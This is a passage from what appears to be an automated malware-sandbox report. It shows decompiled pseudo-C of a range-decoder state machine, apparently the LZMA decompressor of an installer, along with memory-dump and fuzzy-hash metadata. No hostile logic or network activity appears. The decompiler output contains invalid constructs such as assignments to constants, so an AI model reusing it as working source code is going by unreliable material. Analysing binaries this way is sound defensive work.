													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction ID: 47c5cb8fc101d284839cddc633a7ca9263ac2e2456f843b1234a04abf02d33d1
Opcode Fuzzy Hash: ab0e96aa9de7783a5fbfa8537471c17f47562fab6ccc56c1d015952012775d3a
Instruction Fuzzy Hash: 0C713371D00229CBDF28CFA8C844BADBBF1FB44305F15806AD816BB281D7785A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00406365, Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406365() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
